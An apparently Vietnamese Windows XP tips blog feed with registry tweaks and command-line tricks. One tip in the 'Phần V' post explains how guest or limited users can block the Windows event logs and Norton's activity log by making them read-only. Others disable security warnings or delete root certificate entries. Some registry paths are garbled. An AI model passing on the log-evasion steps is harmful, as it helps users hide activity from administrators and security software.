tp143system.reg.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;&lt;strong&gt;- Khôi phục giá trị Registry:&lt;/strong&gt; Khi cần khôi phục  lại những giá trị registry đã được xuất ra (tp143system.reg), bạn chỉ cần double  click vào tập tin *.reg (vd: tp143system.reg) mà bạn đã sao lưu trước.  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Thủ thuật với Internet Explorer  6&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Giữ phím CTRL và sử dụng con lăn (scroll) của mouse để tăng hay  giảm nhanh font chữ. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Giữ phím SHIFT và sử dụng con lăn (scroll) của mouse để trở về  (Back) hay tiến lên (Forward) giữa các trang web.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Để thay đổi thư mục mặc định khi Download với Internet  Explorer, bạn làm theo các bước sau: Nhấn Start - Run , gõ "regedit" rồi Enter  để vào Registry Editor. Chọn theo đường dẫn:  HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer. Bên cửa sổ bên phải, ta  thay đổi đường dẫn của Download Directory theo đường dẫn mà ta muốn. Hoàn tất  việc thay đổi đường dẫn mặc định cho IE.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Thay đổi kích thước Icon trong  Windows&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Ta có thể dễ dàng thay đổi kích thước của các icon trong Windows  với các bước đơn giản sau: Chọn Start – Settings – Control Panel. Nhấn đúp lên  Display. Chọn thẻ Appearance. Chọn Icon từ Item: trong hộp thoại xổ xuống. Bạn  có thể tinh chỉnh kích thước của icon ở phần Size. Nhấn Apply để thực thi thay  đổi và OK để thoát ra.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Chú ý: Thông thường kích thước của các icon là 32x32, 16x16 hoặc  có thể lớn hơn, nhưng các bạn đừng cho kích thước quá khác biệt có thể gây trục  trặc cho kích thước Icon.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Thủ thuật với thư mục trong  Windows&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thông thường thì Windows có thể nhớ khoảng 400 cấu hình khác nhau  cho thư mục. Khi số lượng cấu hình khác nhau tăng lên hơn mức này, thì Windows  sẽ tự động bỏ đi nhiều cấu hình. Bạn có thể thay đổi số 400 này thành 8000 để  Windows có thể lưu trữ nhiều hơn chỉ với vài thao tác đơn giản  sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Mở Notepad và tạo một tập tin có nội dung như sau: Windows  Registry Editor Version 5.00&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;"BagMRU Size"=dword:00001f40&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;"BagMRU Size"=dword:00001f40&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;"NoSaveSettings"=dword:00000000&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Sao lưu lại tập tin với tên là folder8000.reg , bạn nhớ để chế độ  All Files cho Notepad khi save để tránh sao lưu thành một tập tin văn bản bình  thường. Double Click lên folder8000.reg để nhập thông số trên vào  Registry.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Sửa chửa các tập tin bị hỏng  trong Windows XP&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thủ thuật này sẽ hướng dẫn bạn sửa chửa các tập tin bị hỏng trong  Windows XP một cách dễ dàng. Bạn cần có CD Windows XP và hệ điều hành Windows XP  đang sử dụng rồi thực hiện các bước sau: Cho CD Windows XP vào ổ CD. Bỏ qua giao  diện cài đặt tự động của Windows CD. Nhấn Start , chọn Run. Gõ “sfc /scannow”  (Không có dấu ngoặc kép). Windows sẽ thực hiện việc dò tìm và tải lại các tập  tin bị hư hỏng.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Khóa chức năng Shutdown trong  Dialog Box&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Trước hết bạn cần sao lưu lại registry, sau đó, vào Registry  Editor bằng cách: Vào Start – Run, gõ regedit rồi Enter. Tìm đến key:  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Trong cửa sổ phải, chú ý đến key “NoClose”. Nếu chưa có key  “NoClose” ta có thể tạo bằng cách phải chuột ở cửa sổ phải, chọn New – String,  đặt tên là “NoCloseKey”. Sau đó, ta phải chuột lên “NoCloseKey” và chọn Modify  để chỉnh sửa. Gõ 1 vào ô giá trị (Value Data Box).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Khi muốn phục hồi lại như cũ, bạn chỉ cần thay đổi giá trị của  “NoCloseKey” thành “0” hay xoá luôn cả giá trị “NoCloseKey”. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Chú ý: Cách thức này chỉ thực hiện được từ Windows 98 trở lên.  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Không hiển thị ổ đĩa trong My  Computer&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thủ thuật này có thể sẽ hữu ích cho các dịch vụ Net nhằm bảo mật  thông tin với khách hàng, bạn sẽ che giấu các partition không cho hiển thị trong  My Computer. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Vào Registry Editor, Start – Run, gõ regedit. Tìm đến  key:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Trong cửa sổ bên phải, ta phải chuột tạo New – DWORD và đặt tên  là “NoDrives”. Sau đó, ta chọn “NoDrives” , phải chuột rồi chọn Modify để chỉnh  sửa giá trị thành 3FFFFFF (Hexadecimal). Nhấn F5 để thực thi thay đổi. (Đôi khi  phải restart lại máy để thực hiện thay đổi).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Bạn vào My Computer và sẽ thấy không có ổ nào được hiển thị. Muốn  trở lại như cũ, bạn chỉ cần vào lại registry và xóa đi DWORD “NoDrives”.  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Thay đổi vị trí cài đặt mặc  định&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Khi cài đặt các phần mềm hay các chương trình nào đó, Windows  thường mặc định sẵn ổ đĩa (thường là C) nhưng bạn lại muốn Windows tự động chọn  một ổ đĩa hay đường dẫn khác, ta chỉ cần tìm đến giá trị và thay đổi tùy ý  bạn:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionSetupSourcePath&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="MsoNormal"&gt; &lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Kiến thức Windows Registry - Phần V</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-v.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:11:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-5507316163469944153</guid><description>&lt;p class="MsoNormal"&gt;&lt;strong style="color: rgb(51, 51, 255);"&gt;Những thủ thuật nhỏ để sử dụng Windows thuận tiện  hơn. Bạn nhớ sao lưu hệ thống trước khi thực hiện những thay đổi trong  Registry.&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Khởi động nhanh chức năng System  Restore&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Bạn có thể thực hiện nhanh việc khởi động chức năng System  Restore của Windows trong cửa sổ Commander theo các bước sau. Chú ý: Bạn phải  đăng nhập với tài khoản người quản trị (Administrator). &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- Mở Start – Run – gõ cmd – Enter. Cửa sổ Windows Commander xuất  hiện. Bạn gõ&lt;br /&gt;%systemroot%\system32\restore\rstrui.exe. Nhấn Enter. Hộp thoại  của System Restore sẽ khởi động.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Shutdown nhanh trong Windows với  Shortcut&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Trong Windows 95/98/ME và Windows XP, bạn phải chuột trên  Desktop, chọn New – Shorcut. Cửa sổ mới xuất hiện yêu cầu bạn gõ vào đường dẫn.  Nếu bạn đang sử dụng Windows 95/98/ME, ta gõ: c:\windows\rundll.exe  user.exe,exitwindows (Ở đây, C: là ổ đĩa cài đặt Windows).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Nếu sử dụng Windows XP, gõ: SHUTDOWN -s - t 01. Nhấn Next và  Finish. Bây giờ, mỗi khi muốn shutdown máy, bạn chỉ cần nhấn đúp lên shortcut  vừa tạo trên Desktop.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Khóa chức năng lưu trữ hoạt động trên Windows  XP&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Đây là một thủ thuật nhỏ cho phép bạn vượt qua việc ghi lại những  hoạt động trên Windows, hay do các phần mềm bảo mật như AntiVirus, tường lửa …)  đối với các tài khoản giới hạn hay guest.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Đăng nhập với tài khoản bị giới hạn hay Guest trong  Windows XP, vào thư mục:&lt;/strong&gt;&lt;br /&gt;C:\WINDOWS\system32\config. Bạn chỉ cần đặc  lại thuộc tính cho các tập tin sau thành Readonly (hoặc nếu được cho phép thì  bạn thêm thuộc tính attrib):&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- AppEvent.Evt&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- SecEvent.Evt&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- SysEvent.Evt&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Hoặc nếu bạn muốn các trình bảo mật cũng không lưu trữ lại các  hoạt động trên máy của bạn như Norton AntiVirus thì vào %programfilesdir%\norton  antivirus\activity.log và đặc thuộc tính Readonly và Attrib.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Kiến thức Windows Registry - Phần IV</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-iv.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:10:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-2599594096314773895</guid><description>&lt;p class="MsoNormal"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Những thủ thuật nhỏ để sử dụng Windows thuận tiện  hơn. Bạn nhớ sao lưu hệ thống trước khi thực hiện những thay đổi trong  Registry.&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(51, 51, 255);"&gt;Cách Reinstall Internet Explorer  nhanh&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Chỉ qua vài thao tác đơn giản: Cho CD WinXP vào ổ CD Rom. Click  vào nút Start , chọn Run (hay nhấn phím tắt Windows + R). Hộp thoại Run xuất  hiện, ta gõ:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- Rundll32.exe setupapi,InstallHinfSection DefaultInstall 132  c:\windows\inf\ie.inf. Click Enter là xong.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;Cách gỡ bỏ Windows Messenger nhanh chóng&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Đối với người dùng hệ điều hành Windows XP, có thể gặp sự phiền  phức khó chịu với Windows Messenger được kèm sẵn trong phiên bản XP mà rất khó  gỡ bỏ. Mỗi khi Windows XP khởi động là ta lại bắt gặp Windows Messenger trong  Tray Bar (phía dưới bên trái) yêu cầu nhập Username và Password. Có rất nhiều  cách để gỡ bỏ Windows Messenger ra khỏi Windows. Sau đây là cách thức gỡ bỏ  nhanh nhất chỉ với vài bước.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Vì Windows XP có phiên bản mới đính kèm Service Pack 1, nên ta  chia làm 2 trường hợp: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;+ Cách gỡ bỏ nhanh: Click vào nút Start , chọn Run (hay nhấn phím  tắt Windows + R). Hộp thoại Run xuất hiện, ta gõ:&lt;br /&gt;runDll32  advpack.dll,LaunchINFSection %windir%\INF\msmsgs.inf,BLC.Remove.&lt;br /&gt;Nhấn  Enter. Khởi động lại máy và bạn sẽ thấy sự phiền toái biến mất. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;+ Gỡ bỏ trong Add/remove Programs: Vào Control Panel. Chọn  Add/Remove Programs. Click lên "Add/Remove Windows Components" bên trái. Bỏ chọn  "Windows Messenger". Chọn Next. Chọn Finish. Khởi động lại máy.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(51, 102, 255);"&gt;Thay đổi text trên Internet Explorer 6&lt;/strong&gt;  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Bạn muốn thay đổi dòng chữ nhàm chán trên Internet Explorer 6  (Microsoft Internet Explorer) bằng TP143 Internet Explorer - VSC 2005 chẳng hạn  , thì chỉ cần vài bước sau với Group Policy trong Windows: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Click vào nút Start , chọn Run (hay nhấn phím tắt Windows + R).  Hộp thoại Run xuất hiện, ta gõ: gpedit.msc. Chọn User Configuration &gt; Windows  Setting &gt; Internet Explorer Maintenance &gt; Browser User Interface. Double  Click lên Browser Title. Chọn vào Customize Title Bars và sau đó điền vào dòng  chữ mà bạn muốn Internet Explorer hiển thị trên thanh Title Bar. Nhấn OK và  thoát ra. Bạn thử mở lại Internet Explorer để xem kết quả.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psupertitle"&gt;&lt;strong style="color: rgb(51, 51, 255);"&gt;Xóa sạch Page File khi Shutdown&lt;/strong&gt;  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Khi làm việc trên PC, như sử dụng Microsoft Word, các văn bản hay  các trang web được mở ra đồng nghĩa với việc những trang đó, văn bản đó được nạp  vào RAM, nhưng để tiết kiệm RAM, Windows cho nhiều loại files khác nhau vào  trong Pagefile (có chức năng giống bộ nhớ ảo dùng lưu trữ). Microsoft cũng cho  mặc định chế độ xoá Pagefile khi shutdown là OFF, nên ta có thể thay đổi lại chế  độ này theo cách sau: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Vào Registry Editor, bằng cách nhấn Start - Run, gõ regedit rồi  Enter. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Chọn đến: &lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory  Management.&lt;br /&gt;Chọn ClearPageFileAtShutdown trên danh sách bên phải. Phải chuột  , ta chọn Modify để chỉnh sửa . Thay đổi giá trị là 1 để kích hoạt chức năng xóa  PageFile khi shutdown. Thoát ra và khởi động lại máy tính. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;&lt;strong&gt;Chú ý:&lt;/strong&gt; Chức năng này sẽ làm tăng thời gian  shutdown máy của bạn, nhưng sẽ đem lại lợi ích cho việc dọn dẹp Windows System  của bạn.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psupertitle"&gt;&lt;strong style="color: rgb(51, 51, 255);"&gt;Cách chuyển từ FAT32 sang NTFS&lt;/strong&gt;  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Đối với phiên bản Windows NT trở lên, Microsoft cung cấp thêm  định dạng NTFS với nhiều cơ chế bảo mật và lợi ích hơn. Nên khi muốn thay đổi từ  bảng FAT32 sang NTFS, ta chỉ cần thao tác như sau: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Vào Start - Run, gõ cmd. Hộp thoại Windows Command sẽ xuất hiện  với dấu nhắc ở C:\. Tùy theo ta muốn thay đổi (convert) cho ổ đĩa nào trên HDD  mà ở đây, ví dụ là ổ C thì ta sẽ gõ:&lt;br /&gt;CONVERT C: /FS:NTFS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Tuy nhiên, cách tốt nhất là dùng 1 chương trình từ nhà sản xuất  thứ 3 để làm việc này, đơn cử một chương trình khá tốt và được sử dụng rộng rãi  là Partition Magic. Partition Magic sẽ giúp bạn làm nhiều việc hơn với giao diện  thân thiện, dễ sử dụng.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Kiến thức Windows Registry - Phần III</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-iii.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:08:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-4035267159399244136</guid><description>&lt;p&gt;&lt;strong style="color: rgb(51, 51, 255);"&gt;Bạn nghĩ bạn đã am tường tất cả về Windows? Hãy cùng tham khảo một  thế giới thứ hai của Windows qua những thủ thuật nhỏ mà bạn sẽ có lúc cần dùng  đến.&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Phục hồi biểu tượng Show Desktop trên thanh Quick  Launch&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Khi mở nhiều cửa số mà bạn lại muốn thoát ra nhanh bằng cách nhấn  vào biểu tượng Show Desktop ở thanh Quick Launch, nhưng bạn lại vô tình xoá nó  đi trước kia. Đây là cách thức khôi phục lại biểu tượng Show Desktop nhanh chóng  nhất.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Bạn vào Start – Run , gõ: &lt;strong&gt;regsvr32 /n /i:U  shell32&lt;/strong&gt; vào hộp thoại Open và nhấn OK. Windows sẽ tự động khôi phục cho  bạn biểu tượng Show Desktop trên thanh Quick Launch.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Xóa thông tin về Windows XP Service Pack 1 trên  Desktop&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Đối với những bạn sử dụng Windows XP SP1 các phiên bản đầu chắc  hẳn sẽ rất khó chịu với dòng chữ “Windows XP Service pack 1 Build ….”, ta có thể  gỡ bỏ dòng chữ trên bằng cách tinh chỉnh vào Registry.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Công việc trước tiên là bạn cần sao lưu lại toàn bộ registry, sau  đó vào Registry Editor bằng cách nhấn Start – Run – gõ regedit – Enter. Hộp  thoại Registry Editor xuất hiện. Tìm đến 2 key sau đây và xoá đi:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;-  HKLM\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\&lt;br /&gt;FEE449EE0E3965A5246F000E87FDE2A065FD89D4&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;-  HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\&lt;br /&gt;2BD63D28D7BCD0E251195AEB519243C13142EBC3&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Microsoft Search không tìm tất cả các  files&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Khi dùng chức năng tìm kiếm files trong Windows, Windows không  tìm kiếm các files không được đăng ký. Để khắc phục tình trạng này, ta có thể  tinh chỉnh trong hệ thống Registry như sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Mở Registry Editor, tìm đến  key&lt;br /&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex\] và  thay đổi như sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Value Name: FilterFilesWithUnknownExtensions&lt;br /&gt;Data Type:  REG_DWORD&lt;br /&gt;Value: Thay đổi thành 1 để có thể tìm kiếm tất cả các  files.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;&lt;strong style="color: rgb(255, 0, 0);"&gt;Khoá chức năng thông báo của Security Center trong  Windows XP SP2&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Sau khi cài đặt Windows XP Service Pack 2 Final, bạn sẽ thấy  Microsoft có bổ sung thêm Security Center để thông báo cho người dùng về chế độ  bảo mật của hệ thống như AntiVirus, Firewall … nhưng đôi khi lại gây rất khó  chịu khi sử dụng. Để tắt chức năng thông báo của Security Center, ta làm như  sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- Sao lưu Registry trước khi thực hiện. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- Mở Registry Editor bằng cách vào Start – Run – gõ regedit –  Enter.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;- Tìm đến key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security  Center&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Thay đổi thành 00000001 cho 3 giá  trị:&lt;br /&gt;AntiVirusDisableNotify; FirewallDisableNotify; UpdatesDisableNotify.  Đóng Registry Editor lại và thử nghiệm.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="psubtitle"&gt;Tạo tin nhắn của chính bạn khi khởi động&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Bạn có thể tạo cho chính mình một tin nhắn hay lời chào mỗi khi  khởi động, nó sẽ hiển thị trước màn hình chào mừng của Windows, nếu máy tính của  bạn là một PC hay một client trong một mạng peer-to-peer.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody"&gt;Key:&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Winlogon\]&lt;br /&gt;Value Name: LegalNoticeCaption&lt;br /&gt;Data Type:  REG_SZ&lt;br /&gt;Value: Gõ dòng tin nhắn của bạn tại đây. Ví dụ: Happy to use TP143’s  babe !&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Tìm hiểu về Windows Registry - Phần II</title><link>http://blogthuthuatvn.blogspot.com/2009/10/tim-hieu-ve-windows-registry-phan-ii.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:07:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-7290081976893100332</guid><description>&lt;p  style="font-weight: bold;font-family:arial;"&gt;&lt;span style="color:red;"&gt;Disk Drivers&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;"&gt;&lt;span style="color:blue;"&gt;Thay đổi thông số cảnh báo số % không gian đĩa  cứng còn trống (Windows XP). &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Giá trị mặc định là 10%.Key:  HKEY_LOCAL_MACHINE\ System\ CurrentControlSet\ Services\ LanmanServer\  Parameters&lt;br /&gt;Name: DiskSpaceThreshold.&lt;br /&gt;Type: REG_DWORD (DWORD Value)&lt;br /&gt;Value: 0 - 99 percent (Default is 10)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;no script=""&gt;&lt;span style="color:blue;"&gt;Điều khiển thông số hạn chế không gian cho Master File  Table. &lt;/span&gt;&lt;/no&gt;&lt;br /&gt;Giá trị mặc định là 1.Key: HKEY_LOCAL_MACHINE\ System\  CurrentControlSet\ Control\ FileSystem&lt;br 